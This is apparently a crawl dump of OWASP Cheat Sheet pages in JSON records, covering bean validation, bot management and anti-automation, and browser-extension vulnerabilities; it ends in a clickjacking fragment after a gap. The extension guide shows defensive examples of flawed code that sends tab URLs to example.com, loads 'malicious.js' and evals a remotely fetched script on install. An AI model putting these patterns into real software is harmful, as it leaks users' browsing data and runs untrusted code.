postReview(@Valid Review review, BindingResult result, HttpServletResponse response){ if(result.hasErrors()){ String errorMessage = \"\"; response.setStatus(HttpServletResponse.SC_BAD_REQUEST); List errors = result.getAllErrors(); for( ObjectError e : errors){ errorMessage+= \"ERROR: \" + e.getDefaultMessage(); } return errorMessage; }  else{ return \"Validation Successful\"; } } } \n```\n\n### Cascading Constraints¶\n\nValidating one bean is a good start, but often, beans are nested or in a complete graph of beans. To validate that graph in one go, apply cascading validation with [@Valid](https://docs.jboss.org/hibernate/validator/9.0/reference/en-US/html_single/#_cascaded_validation)\n\n### Additional Constraints¶\n\nIn addition to providing the complete set of JSR303 constraints, Hibernate Validator also defines some additional constraints for convenience:\n\n- `@CreditCardNumber`\n- `@EAN`\n- `@Email`\n- `@Length`\n- `@Range`\n- `@ScriptAssert`\n- `@URL`\n\nTake a look at this [list](https://docs.jboss.org/hibernate/validator/9.0/reference/en-US/html_single/#validator-defineconstraints-hv-constraints) for the complete list.\n\nNote that `@SafeHtml`, a previously valid constraint, has been deprecated according to the [Hibernate Validator 6.1.0.Final and 6.0.18.Final release blogpost](https://in.relation.to/2019/11/20/hibernate-validator-610-6018-released/). Please refrain from using the `@SafeHtml` constraint.\n\n## Custom Constraints¶\n\nOne of the most powerful features of bean validation is the ability to define your own constraints that go beyond the simple validation offered by built-in constraints.\n\nCreating custom constraints is beyond the scope of this guide. Please see this [documentation](https://docs.jboss.org/hibernate/validator/).\n\n## Error Messages¶\n\nIt is possible to specify a message ID with the validation annotation, so that error messages are customized :\n\n```\n@Pattern(regexp = \"[a-zA-Z0-9 ]\", message=\"article.title.error\") private String articleTitle; \n```\n\nSpring MVC will then look up a message with ID *article.title.error* in a defined MessageSource. More on this [documentation](https://www.silverbaytech.com/2013/04/16/custom-messages-in-spring-validation/).", "znaku_textu": 11669, "slov": 1349, "odkazu": 157, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:41", "sha256": "579c1a2efac345d41b95e10ae70d6436404870abdbd375afd80f79da4c481a5a", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://beanvalidation.org/", "https://hibernate.org/validator/documentation/getting-started/", "https://owasp.org/www-community/OWASP_Validation_Regex_Repository", "https://docs.jboss.org/hibernate/validator/5.2/reference/en-US/html/ch02.html", "https://docs.jboss.org/hibernate/validator/9.0/reference/en-US/html_single/", "https://in.relation.to/2019/11/20/hibernate-validator-610-6018-released/", "https://docs.jboss.org/hibernate/validator/", "https://www.silverbaytech.com/2013/04/16/custom-messages-in-spring-validation/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Bot_Management_and_Anti-Automation_Cheat_Sheet.html", "titulek": "Bot Management and Anti-Automation - OWASP Cheat Sheet Series", "h1": "Bot Management and Anti-Automation Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Bot_Management_and_Anti-Automation_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Bot Management and Anti-Automation Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Common Threats and Risks¶"}, {"uroven": 2, "text": "Threat Modeling Before Controls¶"}, {"uroven": 2, "text": "Layered Defense Architecture¶"}, {"uroven": 2, "text": "Rate Limiting and Quotas¶"}, {"uroven": 2, "text": "Device and Network Fingerprinting (Privacy-Aware)¶"}, {"uroven": 2, "text": "CAPTCHA and Its Modern Alternatives¶"}, {"uroven": 2, "text": "Honeypots and Tarpits¶"}, {"uroven": 2, "text": "Defending Specific Flows¶"}, {"uroven": 3, "text": "Account creation (OAT-019)¶"}, {"uroven": 3, "text": "Inventory / scalping (OAT-005, OAT-015)¶"}, {"uroven": 3, "text": "Public APIs¶"}, {"uroven": 2, "text": "Response Strategy: Don't Always Block¶"}, {"uroven": 2, "text": "Logging and Monitoring¶"}, {"uroven": 2, "text": "Privacy and Compliance¶"}, {"uroven": 2, "text": "Anti-Patterns to Avoid¶"}, {"uroven": 2, "text": "Checklist¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# Bot Management and Anti-Automation Cheat Sheet¶\n\n## Introduction¶\n\nModern web applications face a continuous stream of automated traffic that is not a Distributed Denial of Service event but is still abusive: credential stuffing, content scraping, inventory hoarding (scalping), fake account creation, gift-card enumeration, card testing, fake reviews, click fraud, and skewed analytics. The OWASP **Automated Threats to Web Applications** project (OAT-001 through OAT-021) catalogs these patterns.\n\nThis cheat sheet provides defensive guidance that goes beyond the [Credential Stuffing Prevention Cheat Sheet](Credential_Stuffing_Prevention_Cheat_Sheet.html) and addresses the full spectrum of automated abuse. It focuses on architecture, signals, response strategy, and CAPTCHA alternatives.\n\nThe objective is **not to block all bots** (search engine crawlers, monitoring agents, and accessibility tools are legitimate) but to raise the cost of abusive automation while keeping legitimate users and bots unaffected.\n\n## Common Threats and Risks¶\n\n- **OAT-008 Credential Stuffing** — replaying breached username/password pairs.\n- **OAT-011 Scraping** — large-scale content, price, or PII extraction.\n- **OAT-005 Scalping / Inventory Hoarding** — buying limited stock for resale.\n- **OAT-019 Account Creation** — fake accounts at signup endpoints.\n- **OAT-012 Cashing Out** — using stolen accounts to extract value.\n- **OAT-001 Carding** — testing stolen card numbers via low-value purchases.\n- **OAT-003 Ad Fraud** — fake clicks and impressions.\n- **OAT-002 Token Cracking** — brute-forcing gift cards, vouchers, coupons.\n- **OAT-015 Denial of Inventory** — adding items to cart to deplete stock.\n- **OAT-014 Vulnerability Scanning** — automated probing for weaknesses.\n- **Skewed business metrics** — bots polluting A/B tests, recommendations, fraud models.\n- **Privacy violations** — over-collecting fingerprinting data to defend against bots.\n\n## Threat Modeling Before Controls¶\n\nBefore adding tooling, identify which OAT categories apply to your application and which endpoints are at risk. A login form, a search page, a checkout, and a public API have very different threat profiles and defenses.\n\n| Endpoint type | Primary OAT risk | Suggested first control |\n| --- | --- | --- |\n| Login | OAT-008 Credential Stuffing | Rate limit + breached-password check + MFA |\n| Signup | OAT-019 Account Creation | Email/phone verification + velocity limits |\n| Search / catalog | OAT-011 Scraping | Rate limit per identity + behavioral signal |\n| Checkout / cart | OAT-005 Scalping, OAT-001 Carding | Queue + purchase limits + 3D Secure |\n| Public API | OAT-011, OAT-014 | API keys + per-key quotas + signed requests |\n| Comments / reviews | OAT-020 Account Aggregation, spam | Reputation + delayed publishing |\n\n## Layered Defense Architecture¶\n\nA single control is brittle. Combine controls at three layers:\n\n1. **Edge layer** — CDN, WAF, or anti-bot service: IP reputation, ASN filtering, TLS fingerprint (JA3/JA4), HTTP/2 fingerprint, basic rate limits.\n2. **Application layer** — session-aware rate limits, identity-bound quotas, behavioral signals, honeypots, CAPTCHA challenges.\n3. **Backend / business layer** — anomaly detection on transactions, account-velocity rules, fraud scoring, async review queues.\n\nA request that looks human at one layer (good IP, valid CAPTCHA) may still fail at another (10 checkouts in 30 seconds with different cards).\n\n## Rate Limiting and Quotas¶\n\nRate limiting is the foundational control. Apply it at multiple keys, not just IP.\n\n- **Per IP** — coarse, defeated by residential proxy networks but still useful as a floor.\n- **Per session / cookie** — defeated by cookie clearing, useful against unsophisticated bots.\n- **Per authenticated identity** — most reliable; applies after login.\n- **Per endpoint** — the login endpoint deserves a tighter limit than the home page.\n- **Per ASN or geo** — useful when traffic from datacenter ASNs is unexpected.\n\nUse a token-bucket or sliding-window algorithm. Avoid fixed-window counters: they allow bursts at boundary times.\n\nA correct login-endpoint rate limit applies **two independent buckets**, both of which must be under their threshold for the request to pass:\n\n- **Per-username bucket** — limits attempts against any single account regardless of source IP. Defends a targeted account from a distributed attack.\n- **Per-IP (or per-IP+ASN) bucket** — limits the volume of attempts originating from one source against any account. Defends against credential-stuffing sweeps that try one password per account.\n\nA common mistake is to use a single bucket keyed on the *combination* of IP and username (e.g., `login::`). This creates one bucket per pair, which means a single IP can attempt the threshold against an unlimited number of usernames before any limit fires — exactly the credential-stuffing pattern you were trying to stop. Always check the two buckets separately.\n\nWhen a limit is hit, return a generic `429 Too Many Requests`. Avoid `Retry-After` values precise enough to schedule retries against. Do not include diagnostic detail (which bucket fired, remaining attempts) — that information is useful only to attackers tuning their tooling.\n\n## Device and Network Fingerprinting (Privacy-Aware)¶\n\nFingerprinting helps detect bots that rotate IPs but reuse client environments. Use **passive, network-level** signals first; resort to client-side fingerprinting only when necessary.\n\nNetwork signals (no client cooperation needed):\n\n- **JA3 / JA4** — TLS ClientHello fingerprint. Headless tooling often produces uncommon JA3 values.\n- **HTTP/2 fingerprint (Akamai)** — frame ordering, settings, priorities.\n- **Client Hints (`Sec-CH-UA-*`)** — declared but verifiable against TLS fingerprint.\n\nBrowser-side signals (last resort, with consent where required):\n\n- WebGL renderer string, canvas hash, font list, audio context — strong but invasive.\n- Page-level behavioral telemetry (mouse paths, scroll, focus) — collect only on sensitive flows.\n\n**Privacy guidance:**\n\n- Document fingerprinting in your privacy notice; some jurisdictions (EU/UK ePrivacy, CCPA) require disclosure or opt-out.\n- Hash or truncate any fingerprint before storage; do not retain raw values that enable re-identification.\n- Set short retention windows (hours to days) for anti-bot signals — long enough to detect, short enough to limit surveillance risk.\n- Avoid fingerprinting authenticated, low-risk traffic (a logged-in user reading their own profile does not need to be fingerprinted again).\n\n## CAPTCHA and Its Modern Alternatives¶\n\nVisible CAPTCHAs (image grids, distorted text) are accessibility-hostile, machine-solvable by ML, and outsourced to human solver farms for fractions of a cent per solve. Treat them as a **last-resort step-up**, not a primary defense.\n\nPrefer the following alternatives or layer them:\n\n- **Cryptographic attestation tokens** — Privacy Pass (RFC 9576), Apple Private Access Tokens, and emerging device-attestation APIs. The client proves \"I am a real device on a known platform\" without identifying the user.\n- **Invisible risk scoring** — Cloudflare Turnstile, reCAPTCHA v3, hCaptcha Enterprise. The provider returns a score; you decide the threshold.\n- **Proof of Work (PoW)** — the client must compute a hash that costs single-digit milliseconds for a human but accumulates significantly across thousands of bot requests. Useful for unauthenticated, expensive endpoints.\n- **WebAuthn / Passkeys** — for high-value flows, possession of a registered authenticator is a far stronger bot signal than any CAPTCHA.\n\nExample Proof of Work challenge (server side):\n\n```\nimport { randomBytes, createHash } from 'crypto'; // Issue: client receives `challenge` and must find a `nonce` // such that sha256(challenge || nonce) starts with N zero bits. function issuePoW(difficultyBits = 18) { return { challenge: randomBytes(16).toString('hex'), difficulty: difficultyBits, expiresAt: Date.now() + 60_000, }; } function verifyPoW(challenge, nonce, difficultyBits) { const hash = createHash('sha256') .update(challenge + nonce) .digest(); // Count leading zero bits. let bits = 0; for (const byte of hash) { if (byte === 0) { bits += 8; continue; } bits += Math.clz32(byte) - 24; break; } return bits >= difficultyBits; } \n```\n\nTune `difficultyBits` so a real client spends a few hundred milliseconds; raise it under attack.\n\n## Honeypots and Tarpits¶\n\nCheap, effective, and zero impact on legitimate users.\n\n- **Hidden form fields** — a `` styled `display:none` and labeled \"leave blank.\" Bots fill it; humans do not. Reject the submission.\n- **Robots.txt traps** — disallow a bait path in `robots.txt` ; treat any traffic to it as malicious (well-behaved crawlers respect the directive; abusive ones do not).\n- **Tarpitting** — for detected bots, do not return `403` . Slow responses progressively (e.g., `setTimeout(send, 5000 + jitter)` ). The bot's throughput collapses without telegraphing detection.\n- **Canary content** — embed unique, watermarked records on listing pages. If they appear elsewhere, you have proof of scraping and a fingerprint of the scraper.\n\n```\n
\n```\n\nServer side: if `company_url` is non-empty, silently drop the request or route to a tarpit.\n\n## Defending Specific Flows¶\n\n### Account creation (OAT-019)¶\n\n- Verify email **before** the account is usable; do not just send a confirmation, gate features behind it.\n- Check email against disposable-domain lists (refresh weekly).\n- For phone verification, check the carrier type — VoIP numbers are abundant and cheap.\n- Apply a per-IP, per-ASN, per-device-fingerprint signup velocity limit (e.g., 3 per hour).\n- Reject signup if the email's local-part has high entropy and recent-creation domain.\n\n- Apply per-username **and** per-IP limits with separate windows.\n- Check the submitted password against breach corpora (e.g., HaveIBeenPwned k-Anonymity API) — do not block, but require a step-up.\n- On suspicious patterns, require MFA even for low-risk users.\n- See the [Credential Stuffing Prevention Cheat Sheet](Credential_Stuffing_Prevention_Cheat_Sheet.html) for full guidance.\n\n### Inventory / scalping (OAT-005, OAT-015)¶\n\n- **Waiting room / virtual queue** for limited drops — randomized admission, tokens bound to session and identity.\n- **Per-account purchase limits** enforced server side, including identity proxies (same payment method, same shipping address, same device).\n- **Hold time** — inventory in cart must be paid for within N seconds or released; prevents cart-camping.\n- **Address and payment dedup** at order time using normalized hashes (street + zip, BIN + last4 + holder hash).\n\n### Public APIs¶\n\n- API keys with rotating secrets, **not** static bearer tokens checked in to client code.\n- Per-key quotas advertised in `X-RateLimit-*` headers so well-behaved clients self-throttle.\n- Request signing (e.g., HMAC of method + path + timestamp + body) to prevent replay and require a stable secret.\n- Tier APIs explicitly: a public catalog endpoint may serve cached, slightly-delayed data; partner APIs serve realtime data with an authenticated key.\n\n## Response Strategy: Don't Always Block¶\n\nHard blocks teach attackers what worked. A graduated response is more durable.\n\n| Confidence | Response |\n| --- | --- |\n| Low (suspicious) | Log; serve normally; flag the session |\n| Medium | Step-up: CAPTCHA, MFA, or PoW challenge |\n| High | Tarpit (slow responses), serve stale or randomized data |\n| Very high | Soft-block specific actions (e.g., disable checkout, allow browsing) |\n| Confirmed abuse | Account hold + manual review; do not delete to allow forensics |\n\nFor scrapers specifically, returning **plausible but slightly wrong data** (price ±1%, fake stock counts) poisons the dataset and is often more damaging to the business case for scraping than a 403.\n\n## Logging and Monitoring¶\n\nBot incidents are detected post-hoc almost as often as in real time. Log enough to investigate.\n\nFor each request to a sensitive endpoint, capture:\n\n- Timestamp, request ID, route, status code.\n- Client IP, ASN, country.\n- TLS fingerprint (JA3/JA4) and HTTP/2 fingerprint.\n- User-Agent (raw, plus parsed family/version).\n- Authenticated identity (or session ID hash).\n- Decision and signals (e.g., `bot_score=0.87` , `rule=login_velocity` ).\n\nMask credentials and PII in logs (see the [Logging Cheat Sheet](Logging_Cheat_Sheet.html)).\n\nBuild dashboards for: requests-per-second by endpoint, 4xx/5xx rate, fail rate by route, signup-to-purchase funnel, login success rate. Sudden shifts (more than 3-sigma) on these are bot signals.\n\n```\n# Minimal structured log record for an anti-bot decision. import json, hashlib, time def log_decision(req, score, decision, rule): record = { \"ts\": int(time.time() * 1000), \"route\": req.path, \"ip\": req.remote_addr, \"asn\": req.headers.get(\"X-ASN\"), # set by your edge \"ja4\": req.headers.get(\"X-TLS-JA4\"), \"ua\": req.headers.get(\"User-Agent\"), \"session\": hashlib.sha256( (req.cookies.get(\"sid\") or \"\").encode() ).hexdigest()[:16], \"score\": score, \"decision\": decision, # allow | challenge | tarpit | block \"rule\": rule, } print(json.dumps(record)) \n```\n\n## Privacy and Compliance¶\n\nAnti-bot defenses collect data. Treat them like any other data-processing activity.\n\n- Document the lawful basis (legitimate interest is typical) and the categories of data collected.\n- Apply **data minimization** : collect what you need to score the request and discard the rest.\n- Set a short retention period for raw signals; aggregate for longer-term analytics.\n- If you use a third-party anti-bot vendor, list them as a sub-processor and review their DPIA.\n- Do not block users solely because their browser is hardened (privacy-respecting users often look \"bot-like\"). Prefer challenge to block.\n- Provide an accessible alternative when challenging users with CAPTCHAs (audio CAPTCHA, support contact).\n\n## Anti-Patterns to Avoid¶\n\n- Blocking all traffic with non-standard User-Agents — breaks legitimate research, accessibility, and integration tools.\n- Relying solely on a single edge vendor \"magic box\" — when it tunes wrong, your entire site goes down or opens up.\n- Storing raw fingerprints indefinitely.\n- CAPTCHAs at every login attempt — destroys conversion and trains users to solve mechanically.\n- \"Hidden\" anti-bot rules with no logging — you cannot tune what you cannot see.\n- Hard-blocking on first signal, with no graduated response — gives attackers a clean signal to iterate against.\n\n## Checklist¶\n\n- Map application endpoints to the OWASP Automated Threats (OAT) catalog.\n- Apply rate limits at IP, identity, and endpoint levels, using a sliding window.\n- Layer defenses across edge, application, and business logic.\n- Use TLS/HTTP-level fingerprints before resorting to browser fingerprinting.\n- Replace visible CAPTCHAs with attestation tokens, invisible scoring, or PoW where possible.\n- Add honeypot fields and tarpit responses for high-confidence detections.\n- Verify email and phone numbers at signup; track signup velocity.\n- Enforce per-account purchase, address, and payment-method limits on scarce inventory.\n- Sign API requests; advertise quotas via `X-RateLimit-*` headers.\n- Log decisions with signals; build anomaly dashboards.\n- Mask PII and rotate raw signal storage on a short schedule.\n- Document anti-bot processing in your privacy notice.\n- Provide accessibility alternatives to any user-facing challenge.\n\n## References¶\n\n- [OWASP Automated Threats to Web Applications (OAT)](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [OWASP Credential Stuffing Prevention Cheat Sheet](Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- [OWASP Logging Cheat Sheet](Logging_Cheat_Sheet.html)\n- [OWASP Authentication Cheat Sheet](Authentication_Cheat_Sheet.html)\n- [OWASP Multifactor Authentication Cheat Sheet](Multifactor_Authentication_Cheat_Sheet.html)\n- HaveIBeenPwned — [Pwned Passwords API](https://haveibeenpwned.com/API/v3#PwnedPasswords)", "znaku_textu": 15818, "slov": 2305, "odkazu": 152, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:42", "sha256": "9e0656ea67a35534a147d0213a949a2f77b8249735a5985651217c1e56ea3088", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-automated-threats-to-web-applications/", "https://haveibeenpwned.com/API/v3", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Browser_Extension_Vulnerabilities_Cheat_Sheet.html", "titulek": "Browser Extension Vulnerabilities - OWASP Cheat Sheet Series", "h1": "Browser Extension Security Vulnerabilities Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Browser_Extension_Vulnerabilities_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Browser Extension Security Vulnerabilities Cheat Sheet¶"}, {"uroven": 2, "text": "1. Permissions Overreach¶"}, {"uroven": 3, "text": "Vulnerability: Permissions Overreach¶"}, {"uroven": 3, "text": "Example: Permissions Overreach¶"}, {"uroven": 3, "text": "Mitigation: Permissions Overreach¶"}, {"uroven": 2, "text": "2. Data Leakage¶"}, {"uroven": 3, "text": "Vulnerability: Data Leakage¶"}, {"uroven": 3, "text": "Example: Data Leakage¶"}, {"uroven": 3, "text": "Mitigation: Data Leakage¶"}, {"uroven": 2, "text": "3. Cross-Site Scripting (XSS)¶"}, {"uroven": 3, "text": "Vulnerability: Cross-Site Scripting (XSS)¶"}, {"uroven": 3, "text": "Example: Cross-Site Scripting (XSS)¶"}, {"uroven": 3, "text": "Mitigation: Cross-Site Scripting (XSS)¶"}, {"uroven": 2, "text": "4. Insecure Communication¶"}, {"uroven": 3, "text": "Vulnerability: Insecure Communication¶"}, {"uroven": 3, "text": "Example: Insecure Communication¶"}, {"uroven": 3, "text": "Mitigation: Insecure Communication¶"}, {"uroven": 2, "text": "5. Code Injection¶"}, {"uroven": 3, "text": "Vulnerability: Code Injection¶"}, {"uroven": 3, "text": "Example: Code Injection¶"}, {"uroven": 3, "text": "Mitigation: Code Injection¶"}, {"uroven": 2, "text": "6. Malicious Updates¶"}, {"uroven": 3, "text": "Vulnerability: Malicious Updates¶"}, {"uroven": 3, "text": "Example: Malicious Updates¶"}, {"uroven": 3, "text": "Mitigation: Malicious Updates¶"}, {"uroven": 2, "text": "7. Third-Party Dependencies¶"}, {"uroven": 3, "text": "Vulnerability: Third-Party Dependencies¶"}, {"uroven": 3, "text": "Example: Third-Party Dependencies¶"}, {"uroven": 3, "text": "Mitigation: Third-Party Dependencies¶"}, {"uroven": 2, "text": "8. Lack of Content Security Policy (CSP)¶"}, {"uroven": 3, "text": "Vulnerability: Lack of Content Security Policy (CSP)¶"}, {"uroven": 3, "text": "Example: Lack of Content Security Policy (CSP)¶"}, {"uroven": 3, "text": "Mitigation: Lack of Content Security Policy (CSP)¶"}, {"uroven": 2, "text": "9. Insecure Storage¶"}, {"uroven": 3, "text": "Vulnerability: Insecure Storage¶"}, {"uroven": 3, "text": "Example: Insecure Storage¶"}, {"uroven": 3, "text": "Mitigation: Insecure Storage¶"}, {"uroven": 2, "text": "10. Insufficient Privacy Controls¶"}, {"uroven": 3, "text": "Vulnerability: Insufficient Privacy Controls¶"}, {"uroven": 3, "text": "Example: Insufficient Privacy Controls¶"}, {"uroven": 3, "text": "Mitigation: Insufficient Privacy Controls¶"}, {"uroven": 2, "text": "11. DOM-based Data Skimming¶"}, {"uroven": 3, "text": "Vulnerability: DOM-based Data Skimming¶"}, {"uroven": 3, "text": "Example: DOM-based Data Skimming¶"}, {"uroven": 3, "text": "Mitigation: DOM-based Data Skimming¶"}, {"uroven": 2, "text": "12. Prototype-based Data Skimming¶"}, {"uroven": 3, "text": "Vulnerability: Prototype-based Data Skimming¶"}, {"uroven": 3, "text": "Example: Prototype-based Data Skimming¶"}, {"uroven": 3, "text": "Mitigation: Prototype-based Data Skimming¶"}, {"uroven": 2, "text": "13. Insecure Message Passing¶"}, {"uroven": 3, "text": "Vulnerability: Insecure Message Passing¶"}, {"uroven": 3, "text": "Example: Insecure Message Passing¶"}, {"uroven": 3, "text": "Mitigation: Insecure Message Passing¶"}, {"uroven": 2, "text": "Conclusion¶"}], "markdown": "# Browser Extension Security Vulnerabilities Cheat Sheet¶\n\n## 1. Permissions Overreach¶\n\n### Vulnerability: Permissions Overreach¶\n\nBrowser extensions sometimes request more permissions than they actually need. This can grant them access to all tabs, browsing history, and even sensitive user data. If an extension is compromised, it could lead to serious privacy risks.\n\n### Example: Permissions Overreach¶\n\n```\n{ \"manifest_version\": 3, \"name\": \"My Extension\", \"permissions\": [ \"tabs\", \"http://*/*\", \"https://*/*\", \"storage\" ] } \n```\n\n### Mitigation: Permissions Overreach¶\n\nFollow the Principle of Least Privilege (PoLP) and request only the permissions that are absolutely necessary. Use optional permissions whenever possible instead of granting full access upfront. Regularly audit and remove any permissions that are no longer needed.\n\n## 2. Data Leakage¶\n\n### Vulnerability: Data Leakage¶\n\nSome extensions unintentionally expose user data by sending browsing activity or personal details to external servers without proper security measures.\n\n### Example: Data Leakage¶\n\n```\nchrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { if (changeInfo.status === 'complete') { fetch('http://example.com/track', { method: 'POST', body: JSON.stringify({ URL: tab.URL }) }); } }); \n```\n\n### Mitigation: Data Leakage¶\n\nAlways use HTTPS for all communications to prevent data interception. Limit data collection and be transparent by clearly stating what data is collected in a Privacy Policy.Implement user consent mechanisms before collecting or sending any personal data.\n\n## 3. Cross-Site Scripting (XSS)¶\n\n### Vulnerability: Cross-Site Scripting (XSS)¶\n\nIf user input is not properly sanitized, attackers can inject malicious scripts into web pages, potentially stealing user data or performing unauthorized actions.\n\n### Example: Cross-Site Scripting (XSS)¶\n\n```\nlet userInput = document.getElementById('input').value; document.getElementById('output').innerHTML = userInput; // No sanitization \n```\n\n### Mitigation: Cross-Site Scripting (XSS)¶\n\nImplement Content Security Policy (CSP) to block inline scripts. Use libraries like DOMPurify to sanitize user input before displaying it. Avoid using innerHTML and instead use textContent to prevent execution of injected scripts.\n\n## 4. Insecure Communication¶\n\n### Vulnerability: Insecure Communication¶\n\nSome extensions send sensitive data over unsecured HTTP connections, making it vulnerable to interception by attackers.\n\n### Example: Insecure Communication¶\n\n```\nfetch('http://example.com/api/data'); \n```\n\n### Mitigation: Insecure Communication¶\n\nAlways use HTTPS for external communications to prevent data theft. Validate server responses before processing them to ensure data integrity.\n\n## 5. Code Injection¶\n\n### Vulnerability: Code Injection¶\n\nAn extension that dynamically loads scripts from an untrusted source can be exploited to inject and execute malicious code.\n\n### Example: Code Injection¶\n\n```\nlet script = document.createElement('script'); script.src = 'http://example.com/malicious.js'; document.body.appendChild(script); \n```\n\n### Mitigation: Code Injection¶\n\nUse CSP (Content Security Policy) to restrict script sources. For more details, refer to the [CSP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html). Avoid using eval() and innerHTML as they can execute malicious code. Prefer using extension messaging APIs instead of injecting scripts into web pages.\n\n## 6. Malicious Updates¶\n\n### Vulnerability: Malicious Updates¶\n\nIf an extension fetches updates from an untrusted server, an attacker could push malicious updates to all users.\n\n### Example: Malicious Updates¶\n\n```\nchrome.runtime.onInstalled.addListener(() => { fetch('http://example.com/update-script.js') .then(response => response.text()) .then(eval); // Unsafe! }); \n```\n\n### Mitigation: Malicious Updates¶\n\nSign extension updates with digital signatures to ensure authenticity. Instead of fetching updates within the extension, rely on updates from the extension marketplace.\nSee [\"Don’t inject or incorporate remote scripts\"](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices).\nImplement integrity checks before executing any fetched code.\n\n## 7. Third-Party Dependencies¶\n\n### Vulnerability: Third-Party Dependencies¶\n\nUsing outdated or vulnerable third-party libraries in an extension can introduce security risks if those libraries have known exploits.\n\n### Example: Third-Party Dependencies¶\n\n```\n{ \"dependencies\": { \"vulnerable-lib\": \"1.0.0\" } } \n```\n\n### Mitigation: Third-Party Dependencies¶\n\nRegularly audit third-party dependencies for security vulnerabilities. Use tools like npm audit or OWASP Dependency-Check to detect risks.Prefer actively maintained libraries with frequent security updates.\n\n## 8. Lack of Content Security Policy (CSP)¶\n\n### Vulnerability: Lack of Content Security Policy (CSP)¶\n\nWithout a strict CSP, attackers can inject scripts into an extension’s web pages, increasing the risk of cross-site scripting (XSS) attacks.\n\n### Example: Lack of Content Security Policy (CSP)¶\n\n```\n{ \"manifest_version\": 3, \"name\": \"My Extension\", \"content_security_policy\": \"default-src 'self'\" } \n```\n\n### Mitigation: Lack of Content Security Policy (CSP)¶\n\nDefine a strict CSP in the extension’s manifest.json file. Use nonce-based or hash-based policies to allow only trusted scripts. Block execution of inline scripts and restrict third-party content sources.\n\n## 9. Insecure Storage¶\n\n### Vulnerability: Insecure Storage¶\n\nStoring sensitive data like authentication tokens in localStorage or other unsecured locations makes it easy for attackers to access.\n\n### Example: Insecure Storage¶\n\n```\nlocalStorage.setItem('token', 'my-secret-token'); // No encryption \n```\n\n### Mitigation: Insecure Storage¶\n\nStore sensitive data in Chrome Storage API, which provides better security than localStorage.\nEncrypt stored data before saving it locally.\nNever hardcode API keys or credentials within the extension code.\n\n## 10. Insufficient Privacy Controls¶\n\n### Vulnerability: Insufficient Privacy Controls¶\n\nIf an extension does not clearly define how it collects and handles user data, it could lead to privacy violations and unauthorized data usage.\n\n### Example: Insufficient Privacy Controls¶\n\n```\n{ \"manifest_version\": 3, \"name\": \"My Extension\", \"description\": \"A cool extension with no privacy policy.\" } \n```\n\n### Mitigation: Insufficient Privacy Controls¶\n\nImplement a clear privacy policy that explains data collection practices. Allow users to opt out of data collection. Disclose data-sharing practices to comply with GDPR, CCPA, and other privacy regulations.\n\n## 11. DOM-based Data Skimming¶\n\n### Vulnerability: DOM-based Data Skimming¶\n\nWhen an extension renders sensitive user information directly into DOM of a web page, this data becomes accessible to the page's own scripts.\n\nThis risk applies regardless of the method used, including plain JavaScript DOM manipulation or injecting components built with frameworks like React.\n\nA malicious or compromised web page can inspect the DOM, read the sensitive data (e.g., personally identifiable information, financial details, AI chat histories), and exfiltrate it.\n\n### Example: DOM-based Data Skimming¶\n\n```\n// content-script.js // Sensitive data fetched from the extension's background service const userData = { name: \"Jane Doe\", email: \"[email protected]\" }; // This injects sensitive data directly into the page's DOM const userInfoDiv = document.createElement('div'); userInfoDiv.innerText = `name: ${userData.name}, email: ${userData.email}`; document.body.appendChild(userInfoDiv); \n```\n\n### Mitigation: DOM-based Data Skimming¶\n\nAvoid rendering any sensitive information directly into a web page's DOM. Instead, display sensitive data in UI elements that are isolated from the web page's context and controlled by the extension.\n\nUse secure alternatives such as:\n\n- Popup: Display information in a popup UI that appears when the user clicks the extension's icon.\n- Options Page: Use a dedicated options page for displaying user-specific data or settings.\n- Side Panel: Use the side panel to show a persistent UI in a separate pane, isolated from the page content. (FYI, \"Side Panel\" is a Chromium term. Firefox calls it \"Sidebar\".)\n\nIt is important to note that even using a Shadow DOM for encapsulation may not be a sufficient safeguard, as page scripts can still query an 'open' Shadow DOM. Moreover, even a 'closed' Shadow DOM is not safe, if you consider other browser extensions as threats under your security model. This is because extensions can spear through a 'closed' Shadow DOM using [`openOrClosedShadowRoot()` API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/dom/openOrClosedShadowRoot).\n\nTherefore, using truly separate extension-controlled UIs is the most reliable mitigation.\n\n## 12. Prototype-based Data Skimming¶\n\n### Vulnerability: Prototype-based Data Skimming¶\n\nAn extension's content script is executed in \"isolated world\", a JavaScript context separated from the one of a web page. On the other hand, there are some ways for an extension to execute scripts in \"main world\", a web page's context. For example, an extension can inject a ` \n```\n\nThis way, everything can be in the document HEAD and you only need one method/taglib in your API.\n\n## window.confirm() Protection¶\n\nThe use of X-Frame-Options or a frame-breaking script is a more fail-safe method of clickjacking protection. 